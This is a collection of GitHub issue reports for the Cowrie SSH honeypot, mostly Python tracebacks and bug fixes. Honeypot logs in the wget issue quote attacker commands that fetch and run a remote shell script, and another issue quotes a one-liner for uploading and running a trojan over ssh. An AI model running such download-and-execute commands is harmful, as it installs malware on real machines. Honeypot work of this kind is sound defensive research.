File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 437, in lineReceived
self.handleEndHeaders()
File "/usr/lib/python2.7/dist-packages/twisted/web/client.py", line 113, in handleEndHeaders
self.factory.gotHeaders(self.headers)
File "/home/cowrie/cowrie/cowrie/commands/wget.py", line 246, in gotHeaders
self.wget.protocol.terminal.nextLine()
exceptions.AttributeError: 'NoneType' object has no attribute 'nextLine'

The cause seems to be a combination of the 'wget' command and its reactor use, and the no stdin in available with '</dev/null'.

multiple netstat commands hang terminal session

Hi,

after I type

netstat
netstat -h
netstat -v

into honeypot's shell, it just hangs

log:

2015-08-04 16:37:48+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1,127.0.0.1] CMD: netstat -h
2015-08-04 16:37:48+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1,127.0.0.1] Command found: netstat -h
2015-08-04 16:37:48+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1,127.0.0.1] Unhandled Error
        Traceback (most recent call last):
          File "/usr/lib64/python2.7/site-packages/twisted/python/context.py", line 118, in callWithContext
            return self.currentContext().callWithContext(ctx, func, *args, **kw)
          File "/usr/lib64/python2.7/site-packages/twisted/python/context.py", line 81, in callWithContext
            return func(*args,**kw)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/ssh/service.py", line 44, in packetReceived
            return f(packet)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/ssh/connection.py", line 242, in ssh_CHANNEL_DATA
            log.callWithLogger(channel, channel.dataReceived, data)
        --- <exception caught here> ---
          File "/usr/lib64/python2.7/site-packages/twisted/python/log.py", line 88, in callWithLogger
            return callWithContext({"system": lp}, func, *args, **kw)
          File "/usr/lib64/python2.7/site-packages/twisted/python/log.py", line 73, in callWithContext
            return context.call({ILogContext: newCtx}, func, *args, **kw)
          File "/usr/lib64/python2.7/site-packages/twisted/python/context.py", line 118, in callWithContext
            return self.currentContext().callWithContext(ctx, func, *args, **kw)
          File "/usr/lib64/python2.7/site-packages/twisted/python/context.py", line 81, in callWithContext
            return func(*args,**kw)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/ssh/session.py", line 107, in dataReceived
            self.client.transport.write(data)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/ssh/session.py", line 158, in write
            self.proto.dataReceived(data)
          File "/home/shady/git/cowrie/cowrie/core/protocol.py", line 297, in dataReceived
            insults.ServerProtocol.dataReceived(self, data)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/insults/insults.py", line 431, in dataReceived
            self.terminalProtocol.keystrokeReceived(ch, None)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/recvline.py", line 199, in keystrokeReceived
            m()
          File "/home/shady/git/cowrie/cowrie/core/protocol.py", line 224, in handle_RETURN
            return recvline.RecvLine.handle_RETURN(self)
          File "/usr/lib64/python2.7/site-packages/twisted/conch/recvline.py", line 257, in handle_RETURN
            self.lineReceived(line)
          File "/home/shady/git/cowrie/cowrie/core/protocol.py", line 108, in lineReceived
            self.cmdstack[-1].lineReceived(line)
          File "/home/shady/git/cowrie/cowrie/core/honeypot.py", line 70, in lineReceived
            self.runCommand()
          File "/home/shady/git/cowrie/cowrie/core/honeypot.py", line 131, in runCommand
            self.honeypot.call_command(cmdclass, *rargs)
          File "/home/shady/git/cowrie/cowrie/core/protocol.py", line 207, in call_command
            HoneyPotBaseProtocol.call_command(self, cmd, *args)
          File "/home/shady/git/cowrie/cowrie/core/protocol.py", line 117, in call_command
            obj.start()
          File "/home/shady/git/cowrie/cowrie/core/honeypot.py", line 26, in start
            self.exit()
          File "/home/shady/git/cowrie/cowrie/core/honeypot.py", line 33, in exit
            self.honeypot.cmdstack[-1].resume()
        exceptions.IndexError: list index out of range

passwd command not working properly

Hi,
I found an issue with passwd command.
If correct password is entered twice, finish() method in command_passwd (base.py) tries to create UserDB object without specifying configuration parameter:

# base.command_passwd.finish()
userdb = UserDB()
userdb.adduser(self.honeypot.user.username,
            self.honeypot.user.uid, self.passwd)
...
#core.auth.UserDB:
class UserDB(object):

    def __init__(self, cfg):
        self.userdb = []
        self.userdb_file = '%s/userdb.txt' % cfg.get('honeypot', 'data_path')
        self.load()

Running the command results in exception because __init__() takes 2 arguments.

When two passwords don't match, function works as expected.

Bug in handling wget with -q flag

Cowrie does not download payload from wget command if "-q" flag was specified.

Attack pattern #1:

2015-08-27 10:05:52+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] channel open
2015-08-27 10:05:52+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] executing command "cd /tmp; rm -rf .d.sh; wget -q http://xx.xx.xx.xx/.d.sh; sh .d.sh"
2015-08-27 10:05:52+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] Opening TTY Log: log/tty/20150827-100552-0eed546d.log
2015-08-27 10:05:52+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] CMD: cd /tmp; rm -rf .d.sh; wget -q http://xxx.xxx.xx.xx/.d.sh; sh .d.sh
2015-08-27 10:05:52+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] Command found: cd /tmp
2015-08-27 10:05:52+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] Command found: rm -rf .d.sh
2015-08-27 10:05:52+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] Command found: wget -q http://xxx.xx.xx.xx/.d.sh
2015-08-27 10:05:52+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] Command found: sh .d.sh
2015-08-27 10:05:52+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] sending eof
2015-08-27 10:05:52+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] sending close 0
2015-08-27 10:06:02+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] got eof
2015-08-27 10:06:02+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] remote close
2015-08-27 10:06:02+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1535,attackers_ip] Closing TTY Log: log/tty/20150827-100552-0eed546d.log
2015-08-27 10:06:02+0200 [HoneyPotTransport,1535,attackers_ip] connection lost
2015-08-27 10:06:02+0200 [HoneyPotTransport,1535,attackers_ip] Connection lost

Attack pattern #2:

2015-08-27 09:40:37+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] channel open
2015-08-27 09:40:37+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] executing command "cd /tmp; rm -rf la.sh; wget -q http://yy.yy.yy.yy/la.sh; sh la.sh"
2015-08-27 09:40:37+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] Opening TTY Log: log/tty/20150827-094037-483da5f6.log
2015-08-27 09:40:37+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] CMD: cd /tmp; rm -rf la.sh; wget -q http://yy.yy.yy.yy/la.sh; sh la.sh
2015-08-27 09:40:37+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] Command found: cd /tmp
2015-08-27 09:40:37+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] Command found: rm -rf la.sh
2015-08-27 09:40:37+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] Command found: wget -q http://yy.yy.yy.yy/la.sh
2015-08-27 09:40:37+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] Command found: sh la.sh
2015-08-27 09:40:37+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] sending eof
2015-08-27 09:40:37+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] sending close 0
2015-08-27 09:40:47+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] got eof
2015-08-27 09:40:47+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] remote close
2015-08-27 09:40:47+0200 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,1529,attackers_ip2] Closing TTY Log: log/tty/20150827-094037-483da5f6.log
2015-08-27 09:40:47+0200 [HoneyPotTransport,1529,attackers_ip2] connection lost
2015-08-27 09:40:47+0200 [HoneyPotTransport,1529,attackers_ip2] Connection lost

direct-tcp connections not logged to json

I can see direct-tcp connections in cowrie.log, but they don't appear in my cowrie.json for some reason. Example below is from cowrie.log

2015-08-28 20:00:15+0000 [SSHChannel None (168) on SSHService ssh-connection on HoneyPotTransport,16,x.x.x.x] received data 'GET /globalNoSearchFeed/feeds/ssh1/search.php?q=find+find+looking+for+compare+car+insurance+uk&sip=x.x.x.x HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nReferer: http://questshow-searcher.com/search?q=find+find+looking+for+compare+car+insurance+uk&button=Search\r\nConnection: Keep-Alive\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,*\r\nHost: y.y.y.y\r\n\r\n'

My last log in cowrie.json is from earlier today

{"eventid": "KIPP0011", "format": "Connection lost", "timestamp": "2015-08-28T19:43:45.314188Z", "message": [], "system": "HoneyPotTransport,27,z.z.z.z", "isError": 0, "src_ip": "z.z.z.z", "session": "33f69b48", "sensor": "localhost"}

Which is also in cowrie.log.

2015-08-28 19:43:45+0000 [HoneyPotTransport,27,z.z.z.z] Connection lost

Ability to limit session count or close stale sessions

It would be great if there was an ability to limit number of connections and to terminate stale connections, since growing number of connections creates slowloris-like DoS on RAM.

You can see the effect of cca 480 concurrent connections below. It's dump from meliae memory profiler. The huge amont of lists allocated is the deepcopy of fs.pickle which is done upon every new SSH session.

Total 34200666 objects, 339 types, Total size = 4593.7MiB (4816807050 bytes)
 Index   Count   %      Size   % Cum     Max Kind
     033874285  994773391472  99  99  161408 list
     1   14736   0   8982912   0  99  786712 dict
     2   90035   0   6884942   0  99   65573 str
     3    2160   0   2401920   0  99    1112 Port
     4   96534   0   2316816   0  99      24 int
     5     607   0   2078368   0  99    3424 HoneyPotTransport
     6   16804   0   1209888   0  99      72 builtin_function_or_method
     7   31527   0   1165896   0  99    1120 long
     8     438   0   1140960   0  99   12624 module
     9   13307   0   1055216   0  99   80056 tuple
    10    8691   0   1042920   0  99     120 function
    11    7523   0    962944   0  99     128 code
    12   11335   0    906800   0  99      80 instancemethod
    13     967   0    874168   0  99     904 type
    14     249   0    852576   0  99    3424 HTTPProgressDownloader
    15     249   0    850584   0  99    3416 HoneyPotInteractiveProtocol

I tried to have a look if Twistd supported something like termination of SSH session if it becomes inactive or after given timeout, but so far I'm empty-handed.

Log files uploaded to honeypot via cat

Some hackers upload trojans via cat+ssh commands:
cat trojan | ssh user@host 'cat > /tmp/trojan;chmod +x trojan; /tmp/trojan'

At this moment cowrie only logs it as stdin files that is not cool, because:

  1. If hacker uploads same file multiple times, you'll get hundreds of similar files (hash matches), but with different names.
  2. It won't be exported as wget-downloaded files, so you won't be able to see it in reports (for example via tango/splunk)

release tags

Hey,
could you please use release-tags? this would make packaging easier. thx :)

cheers

chris

commands not executing when directory path contains symbolic links

Hi Michel,

I can't explain why but my Cowrie doesn't accept the usual commands like "ls", "cat", "ping"
bash: cat: command not found
bash: ls: command not found

wget, curl, help, the (customized) txtcmds works fine.

I'm running Centos 7, I have customized the honeyfs files, txtcmds and generated a filesystem with createfs.py (cleaned with fsctl.py)

Any hints ?

Regards.

Couldn't open log file!

I've tried this several times in various ways now but it constantly throws back the same error. I've tried using full paths, I've tried launching playlog.py out of /utils, I've tried launching from /logs and /tty but nothing I'm doing is working.

Anybody know the cause for this issue?

how much power do i need?

will this run on a single core cpu with 1024 mb of ram?

will it run on all the operating systems listed?
49ce80c43ffa479c88109c0c5cc7ae1f

are the commands the same as kippo?

also dose Kippo Graph work?

getDSAkeys - TypeError: must be long, not mpz

Hi, I am trying to launch cowrie on my archlinux desktop :

$ ./start.sh                                                                                                         (master✱) 
Starting cowrie in the background...
Traceback (most recent call last):
  File "/usr/bin/twistd", line 14, in <module>
    run()
  File "/usr/lib/python2.7/site-packages/twisted/scripts/twistd.py", line 27, in run
    app.run(runApp, ServerOptions)
  File "/usr/lib/python2.7/site-packages/twisted/application/app.py", line 657, in run
    runApp(config)
  File "/usr/lib/python2.7/site-packages/twisted/scripts/twistd.py", line 23, in runApp
    _SomeApplicationRunner(config).run()
  File "/usr/lib/python2.7/site-packages/twisted/application/app.py", line 389, in run
    self.application = self.createOrGetApplication()
  File "/usr/lib/python2.7/site-packages/twisted/application/app.py", line 449, in createOrGetApplication
    ser = plg.makeService(self.config.subOptions)
  File "/home/tlk/Tools/HoneyPot/cowrie/twisted/plugins/cowrie_plugin.py", line 52, in makeService
    factory = core.ssh.HoneyPotSSHFactory(cfg)
  File "/home/tlk/Tools/HoneyPot/cowrie/cowrie/core/ssh.py", line 102, in __init__
    dsa_pubKeyString, dsa_privKeyString = getDSAKeys(self.cfg)
  File "/home/tlk/Tools/HoneyPot/cowrie/cowrie/core/ssh.py", line 400, in getDSAKeys
    dsaKey = DSA.generate(KEY_LENGTH, randbytes.secureRandom)
  File "/usr/lib/python2.7/site-packages/Crypto/PublicKey/DSA.py", line 331, in generate
    return self._generate(bits, randfunc, progress_func)
  File "/usr/lib/python2.7/site-packages/Crypto/PublicKey/DSA.py", line 342, in _generate
    key = self._math.dsa_construct(obj.y, obj.g, obj.p, obj.q, obj.x)
TypeError: must be long, not mpz

Python & PyCrypto versions :

>>> import sys
>>> sys.version
'2.7.10 (default, May 26 2015, 04:16:29) \n[GCC 5.1.0]'
>>> import Crypto
>>> Crypto.__version__
'2.6.1'

Cowrie does not start. Zope compatibility: "Can't use implementer with classes."

SHORT ERROR: "/usr/bin/twistd: Unknown command: cowrie"

LONG ERROR:

[urew@localhost cowrie]$ ./start.sh
Starting cowrie in the background...
/usr/lib64/python2.6/site-packages/twisted/conch/ssh/keys.py:13: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
import sha, md5
/usr/lib64/python2.6/site-packages/twisted/conch/ssh/keys.py:13: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import sha, md5
Traceback (most recent call last):
File "/usr/lib64/python2.6/site-packages/twisted/application/app.py", line 669, in parseOptions
usage.Options.parseOptions(self, options)
File "/usr/lib64/python2.6/site-packages/twisted/python/usage.py", line 226, in parseOptions
for (cmd, short, parser, doc) in self.subCommands:
File "/usr/lib64/python2.6/site-packages/twisted/application/app.py", line 679, in subCommands
for plug in plugins:
File "/usr/lib64/python2.6/site-packages/twisted/plugin.py", line 200, in getPlugins
allDropins = getCache(package)
--- ---
File "/usr/lib64/python2.6/site-packages/twisted/plugin.py", line 165, in getCache
provider = pluginModule.load()
File "/usr/lib64/python2.6/site-packages/twisted/python/modules.py", line 380, in load
return self.pathEntry.pythonPath.moduleLoader(self.name)
File "/usr/lib64/python2.6/site-packages/twisted/python/reflect.py", line 456, in namedAny
topLevelPackage = _importAndCheckStack(trialname)
File "/usr/lib64/python2.6/site-packages/twisted/python/reflect.py", line 392, in _importAndCheckStack
return import(importName)
File "/usr/local/cowrie/twisted/plugins/cowrie_plugin.py", line 14, in
import cowrie.core.ssh
File "/usr/local/cowrie/cowrie/core/ssh.py", line 25, in
import auth
File "/usr/local/cowrie/cowrie/core/auth.py", line 238, in
@Implementer(ICredentialsChecker)
File "/usr/lib64/python2.6/site-packages/zope/interface/declarations.py", line 495, in call
raise TypeError("Can't use implementer with classes. Use one of "
exceptions.TypeError: Can't use implementer with classes. Use one of the class-declaration functions instead.
Traceback (most recent call last):
File "/usr/lib64/python2.6/site-packages/twisted/python/usage.py", line 413, in str
return self.getSynopsis() + '\n' + self.getUsage(width=None)
File "/usr/lib64/python2.6/site-packages/twisted/python/usage.py", line 449, in getUsage
for (cmd, short, parser, desc) in self.subCommands:
File "/usr/lib64/python2.6/site-packages/twisted/application/app.py", line 679, in subCommands
for plug in plugins:
File "/usr/lib64/python2.6/site-packages/twisted/plugin.py", line 200, in getPlugins
allDropins = getCache(package)
--- ---
File "/usr/lib64/python2.6/site-packages/twisted/plugin.py", line 165, in getCache
provider = pluginModule.load()
File "/usr/lib64/python2.6/site-packages/twisted/python/modules.py", line 380, in load
return self.pathEntry.pythonPath.moduleLoader(self.name)
File "/usr/lib64/python2.6/site-packages/twisted/python/reflect.py", line 456, in namedAny
topLevelPackage = _importAndCheckStack(trialname)
File "/usr/lib64/python2.6/site-packages/twisted/python/reflect.py", line 392, in _importAndCheckStack
return import(importName)
File "/usr/local/cowrie/twisted/plugins/cowrie_plugin.py", line 14, in
import cowrie.core.ssh
File "/usr/local/cowrie/cowrie/core/ssh.py", line 25, in
import auth
File "/usr/local/cowrie/cowrie/core/auth.py", line 238, in
@Implementer(ICredentialsChecker)
File "/usr/lib64/python2.6/site-packages/zope/interface/declarations.py", line 495, in call
raise TypeError("Can't use implementer with classes. Use one of "
exceptions.TypeError: Can't use implementer with classes. Use one of the class-declaration functions instead.
Usage: twistd [options]
Options:
--savestats save the Stats object rather than the text output of
the profiler.
-o, --no_save do not save state on shutdown
-e, --encrypted The specified tap/aos/xml file is encrypted.
--nothotshot DEPRECATED. Don't use the hotshot profiler even if it's
available.
-n, --nodaemon don't daemonize, don't use default umask of 0077
-q, --quiet No-op for backwards compatibility.
--originalname Don't try to change the process name
--syslog Log to syslog, not to file
--euid Set only effective user-id rather than real user-id.
(This option has no effect unless the server is running
as root, in which case it means not to shed all
privileges after binding ports, retaining the option to
regain privileges in cases such as spawning processes.
Use with caution.)
-l, --logfile= log to a specified file, - for stdout
-p, --profile= Run in profile mode, dumping results to specified file
--profiler= Name of the profiler to use (profile, cprofile,
hotshot). [default: hotshot]
-f, --file= read the given .tap file [default: twistd.tap]
-y, --python= read an application from within a Python file (implies
-o)
-x, --xml= Read an application from a .tax file (Marmalade
format).
-s, --source= Read an application from a .tas file (AOT format).
-d, --rundir= Change to a supplied directory before running [default:
.]
--report-profile= DEPRECATED.

                     Manage --report-profile option, which does nothing currently.

  --prefix=          use the given prefix when syslogging [default: twisted]
  --pidfile=         Name of the pidfile [default: twistd.pid]
  --chroot=          Chroot to a supplied directory before running

-u, --uid= The uid to run as.
-g, --gid= The gid to run as.
--umask= The (octal) file creation mask to apply.
--help-reactors Display a list of possibly available reactor names.
--version Print version information and exit.
--spew Print an insanely verbose log of everything that
happens. Useful when debugging freezes or locks in
complex code.
-b, --debug run the application in the Python Debugger (implies
nodaemon), sending SIGUSR2 will drop into debugger
-r, --reactor= Which reactor to use (see --help-reactors for a list of
possibilities)
--help Display this help and exit.
Commands:
ftp An FTP server.
telnet A simple, telnet-based remote debugging service.
socks A SOCKSv4 proxy service.
manhole-old An interactive remote debugger service.
portforward A simple port-forwarder.
web A general-purpose web server which can serve from a
filesystem or application resource.
inetd An inetd(8) replacement.
news A news server.
xmpp-router An XMPP Router server
words A modern words server
toc An AIM TOC service.
dns A domain name server.
mail An email service
manhole An interactive remote debugger service accessible via
telnet and ssh and providing syntax coloring and basic line
editing functionality.
conch A Conch SSH service.

/usr/bin/twistd: Unknown command: cowrie
[urew@localhost cowrie]$

SERVER DESCRIPTION:
CentOS 6.5

Extra packages installed:
yum install tar make gcc zlib-devel openssl-devel python-twisted wget unzip updatedb mlocate telnet cpan make httpd jwhois php php-devel php-common php-cli php-xml php-pear php-pdo php-gd which

Boring old Kippo runs without issues, but it's start.sh startup line is:
twistd -y kippo.tac -l log/kippo.log --pidfile kippo.pid

But Cowrie's startup line is:
twistd -l log/cowrie.log --pidfile cowrie.pid cowrie

Maybe something wasn't uploaded to the git archive?

Ericw

Curl is broken.

root@hostname:# curl justaguy.pw
Your file here
'NoneType' object has no attribute 'strip'
root@hostname:
# curl https://justaguy.pw
Sorry, SSL not supported in this release
root@hostname:# curl http://justaguy.pw
Your file here
'NoneType' object has no attribute 'strip'
root@hostname:
# curl -l http://justaguy.pw
Unrecognized option

Problems with xmpp (exceptions.TypeError: groupChat() got an unexpected keyword argument 'children')

Hi, I try to use the xmpp cowrie feature but when cowrie try to send an event to the xmpp server Python exception occurs:

[cowrie.core.ssh.HoneyPotSSHFactory] Log observer <bound method DBLogger.emit of <cowrie.dblog.xmpp.DBLogger object at 0x327ec50>> failed.
Traceback (most recent call last):
File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 586, in _doReadOrWrite
why = selectable.doRead()
File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 725, in doRead
protocol.makeConnection(transport)
File "/usr/lib/python2.7/dist-packages/twisted/internet/protocol.py", line 462, in makeConnection
self.connectionMade()
File "/home/kippo/cowrie/cowrie/core/ssh.py", line 228, in connectionMade
sessionno=self.transport.sessionno)
--- ---
File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 284, in msg
self.observersi
File "/home/kippo/cowrie/cowrie/core/dblog.py", line 87, in emit
ev['src_ip'], ev['src_port'], ev['dst_ip'], ev['dst_port'])
File "/home/kippo/cowrie/cowrie/dblog/xmpp.py", line 118, in createSession
self.broadcast('createsession', ses)
File "/home/kippo/cowrie/cowrie/dblog/xmpp.py", line 94, in broadcast
(self.signals[msgtype], self.muc.server) , msg)
File "/home/kippo/cowrie/cowrie/dblog/xmpp.py", line 103, in report
self.muc.groupChat(to, None, children=[body])
exceptions.TypeError: groupChat() got an unexpected keyword argument 'children'

Auth_random doesn't work anymore

After the change that passes the config file as a parameter, the auth_random class doesn't read its parameters correctly anymore.

I will create a pull request in which I move the parameter retrieval inside the auth_random class.

Support for CentOS 6.x

Checked all prereq's. Cloned from repo. Centos 6.6

/usr/bin/twistd: Unknown command: cowrie

Anything I can try?

you forget a %s

cowrie/dblog/mysql.py:

def handleFileDownload(self, session, args):
self.simpleQuery('INSERT INTO downloads' +
' (session, timestamp, url, outfile, shasum)' +
' VALUES (%s, FROM_UNIXTIME(%s), %s, %s)',
(session, self.nowUnix(), args['url'], args['outfile'], args['shasum']))

unhandled exception on malware file uploaded via sftp

The error in log file:

2015-06-12 19:09:08+0200 [SSHChannel session (6) on SSHService ssh-connection on HoneyPotTransport,10,59.188.237.12] Unhandled Error
        Traceback (most recent call last):
          File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
            return self.currentContext().callWithContext(ctx, func, *args, **kw)
          File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
            return func(*args,**kw)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/service.py", line 44, in packetReceived
            return f(packet)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/connection.py", line 294, in ssh_CHANNEL_CLOSE
            log.callWithLogger(channel, channel.closeReceived)
        --- <exception caught here> ---
          File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithLogger
            return callWithContext({"system": lp}, func, *args, **kw)
          File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 69, in callWithContext
            return context.call({ILogContext: newCtx}, func, *args, **kw)
          File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
            return self.currentContext().callWithContext(ctx, func, *args, **kw)
          File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
            return func(*args,**kw)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/channel.py", line 169, in closeReceived
            self.loseConnection()
          File "/home/cowrie/cowrie/cowrie/core/ssh.py", line 302, in loseConnection
            session.SSHSession.loseConnection(self)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/session.py", line 133, in loseConnection
            self.client.transport.loseConnection()
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/session.py", line 164, in loseConnection
            self.proto.connectionLost(protocol.connectionDone)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/filetransfer.py", line 459, in connectionLost
            fileObj.close()
          File "/home/cowrie/cowrie/cowrie/core/ssh.py", line 454, in close
            return self.server.fs.close(self.fd)
          File "/home/cowrie/cowrie/cowrie/core/fs.py", line 256, in close
            shasum = hashlib.sha256(open(self.tempfiles[fd], 'rb').read()).hexdigest()
        exceptions.IOError: [Errno 13] Permission denied: 'dl/20150612190847__tmp_2801'

2015-06-12 19:09:08+0200 [SSHChannel session (6) on SSHService ssh-connection on HoneyPotTransport,10,59.188.237.12] Unhandled Error
        Traceback (most recent call last):
          File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
            return func(*args,**kw)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/service.py", line 44, in packetReceived
            return f(packet)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/connection.py", line 297, in ssh_CHANNEL_CLOSE
            self.channelClosed(channel)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/connection.py", line 604, in channelClosed
            log.callWithLogger(channel, channel.closed)
        --- <exception caught here> ---
          File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithLogger
            return callWithContext({"system": lp}, func, *args, **kw)
          File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 69, in callWithContext
            return context.call({ILogContext: newCtx}, func, *args, **kw)
          File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
            return self.currentContext().callWithContext(ctx, func, *args, **kw)
          File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
            return func(*args,**kw)
          File "/home/cowrie/cowrie/cowrie/core/ssh.py", line 286, in closed
            session.SSHSession.closed(self)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/session.py", line 126, in closed
            self.client.transport.loseConnection()
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/session.py", line 164, in loseConnection
            self.proto.connectionLost(protocol.connectionDone)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/filetransfer.py", line 459, in connectionLost
            fileObj.close()
          File "/home/cowrie/cowrie/cowrie/core/ssh.py", line 454, in close
            return self.server.fs.close(self.fd)
          File "/home/cowrie/cowrie/cowrie/core/fs.py", line 256, in close
            shasum = hashlib.sha256(open(self.tempfiles[fd], 'rb').read()).hexdigest()
        exceptions.IOError: [Errno 13] Permission denied: 'dl/20150612190847__tmp_2801'

Got permission denied on hexdigest(), files are created with 0 permissions (for obvious reason):

----------  1 cowrie cowrie 541656 Jun 12 19:08 20150612190842__tmp_kiss
----------  1 cowrie cowrie   1126 Jun 12 19:08 20150612190845__tmp_tm
----------  1 cowrie cowrie 625806 Jun 12 19:09 20150612190847__tmp_2801

Unhandled exception in mkdir command

mkdir command incorrectly handles case when invalid (i.e. non-existent) path is passed as an argument. For example, mkdir /iam/non-existent command results in (unhandled) FileNotFound exception.

Relevant code lines are below:

# cowrie/commands/fs.py - command_mkdir
 for f in self.args:
            path = self.fs.resolve_path(f, self.honeypot.cwd)
            if self.fs.exists(path):
                self.writeln(
                    'mkdir: cannot create directory `%s\': File exists' % f)
                return
            # NOTE: Invalid path will result in FileNotFound exception
            ok = self.fs.mkdir(path, 0, 0, 4096, 16877)
            if not ok:
                self.writeln(
                    'mkdir: cannot create directory `%s\': ' % f + \
                    'No such file or directory')
                return

mkdir method handles IndexError exception, but not the FileNotFound exception:

# cowrie/core/fs.py - mkdir
       try:
            dir = self.get_path(os.path.dirname(path.strip('/')))
        except IndexError:
            return False

Possible fix is to handle FileNotFound exception directly in core/fs.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.